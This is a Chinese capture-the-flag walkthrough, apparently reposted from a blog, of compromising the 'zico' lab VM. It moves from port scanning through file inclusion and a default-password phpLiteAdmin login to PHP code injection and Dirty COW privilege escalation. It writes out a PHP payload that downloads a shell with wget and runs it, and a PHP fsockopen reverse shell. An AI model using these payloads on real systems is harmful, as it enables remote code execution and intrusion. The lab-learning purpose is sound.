靶机测试-zico

信息收集

主机发现

nmap -sV

在这里插入图片描述
目标IP地址为192.168.133.134.

端口扫描

利用masscan:

masscan --rate=10000 --port 0-65535 192.168.133.134

在这里插入图片描述
使用nmap探测版本等信息:
在这里插入图片描述

探测CMS

在这里插入图片描述
使用whatweb:
在这里插入图片描述

目录扫描

在这里插入图片描述

漏洞发现

在这里插入图片描述

发现此页面的url中page变量的值为一个html文件,直接访问tools.html:
在这里插入图片描述
可以直接访问,猜测使用了文件包含,可能存在文件包含漏洞。

手工进行尝试:
在这里插入图片描述
存在文件包含漏洞。

漏洞利用

在目录扫描中,发现存在dbadmin(db–数据库?admin–熟悉的admin),
访问:
在这里插入图片描述

打开php文件:
在这里插入图片描述
数据库登录页面,并给出了版本信息。

尝试使用弱密码登录:

使用admin登录成功:
在这里插入图片描述

获得了两个用户的信息:

在这里插入图片描述
解密,最后的对应关系为:

root–34kroot34
zico–zico2215@

尝试ssh远程登录:
在这里插入图片描述

失败。

使用searchsploit:
在这里插入图片描述
查看txt内容(直接翻译):

#漏洞标题:phpliteadmin<=1.9.3远程PHP代码注入漏洞

#谷歌怪人:inurl:phpliteadmin.php文件(默认密码:admin)

#日期:2013年10月1日

#利用作者:L@usch公司- http://la.usch.io-http://la.usch.io/files/exploits/phpliteadmin-1.9.3.txt

#供应商主页:http://code.google.com/p/phpliteadmin/

#供应商状态:通知

#软件链接:http://phpliteadmin.googlecode.com/files/phpliteadmin\u v1-9-3.zip

#版本:1.9.3

#测试环境:Windows和Linux



说明:



phpliteadmin.php#1784:'创建新数据库'=>

phpliteadmin.php#1785:'创建新数据库时,如果您自己不包括该数据库,则输入的名称将附加相应的文件扩展名(.db、.db3、.sqlite等)。数据库将在指定为$directory变量的目录中创建。“,



攻击者可以使用php扩展创建sqlite数据库,并将php代码作为文本字段插入。完成后,攻击者只需使用Webbrowser访问数据库文件即可执行该操作。



概念证明:



1我们创建了一个名为“黑客.php".

(取决于服务器配置,有时它将不起作用,数据库的名称将为“黑客.sqlite". 然后尝试将数据库/现有数据库重命名为“黑客.php".)

脚本将sqlite数据库存储在phpliteadmin.php文件.

预览:http://goo.gl/B5n9O

十六进制预览:http://goo.gl/lJ5iQ



2现在在此数据库中创建一个新表,并插入一个具有默认值的文本字段:

<?php phpinfo()?>

十六进制预览:http://goo.gl/v7USQ



三。现在我们跑黑客.php



多恩

根据内容,进行测试:
插入phpinfo:
在这里插入图片描述
通过文件包含漏洞进行本地包含:
在这里插入图片描述
返回phpinfo信息,查看配置,并没有开启远程包含。

写入远程下载命令,下载shell脚本:

<?php system("wget IP地址/shell.txt -O /tmp/shell.php; php /tmp/shell.php");?>

-O 输出到指定目录。

输出到/tmp目录,原因是该目录所需权限较低。

shell.txt内容为:

<?php $sock=fsockopen("IP地址",监听端口);exec("/bin/sh -i <&3 >&3 2>&3")?>

如果直接在数据库中插入该语句进行反弹shell,连接失败:
在这里插入图片描述

所以通过远程下载。

先创建shell.txt文件:
在这里插入图片描述

开启http服务。

插入:

<?php system("wget IP地址/shell.txt -O /tmp/shell.php; php /tmp/shell.php");?>

进行本地包含,并进行监听:
在这里插入图片描述
成功返回shell。

提权

之前通过数据库获得了root用户的密码,尝试进行提权。

在这里插入图片描述

这里必须要开启一个终端。

使用python,开启终端:

 python -c 'import pty; pty.spawn("/bin/bash")';

提权失败:
在这里插入图片描述
使用脏牛进行提权。

1.远程下载脏牛脚本文件:
在这里插入图片描述

发现下载失败。

查看权限:
在这里插入图片描述
给予权限:
在这里插入图片描述
进入到tmp目录下:
在这里插入图片描述
下载成功:
在这里插入图片描述

进行编译,并运行:

gcc -pthread dirty.c -o exp -lcrypt //exp为输出文件名(固定格式)

在这里插入图片描述

设置密码为123(任意)。

在这里插入图片描述
提权成功。
在这里插入图片描述

总结

在发现可能存在文件包含漏洞时,在验证漏洞方面还要加强。

学到了利用searchsploit进行漏洞利用。

在提权时,/tmp目录的使用要加强。

脏牛提权成功后,要恢复原来的/etc/passwd。

猜你喜欢

转载自blog.csdn.net/qq_45742511/article/details/114443138
今日推荐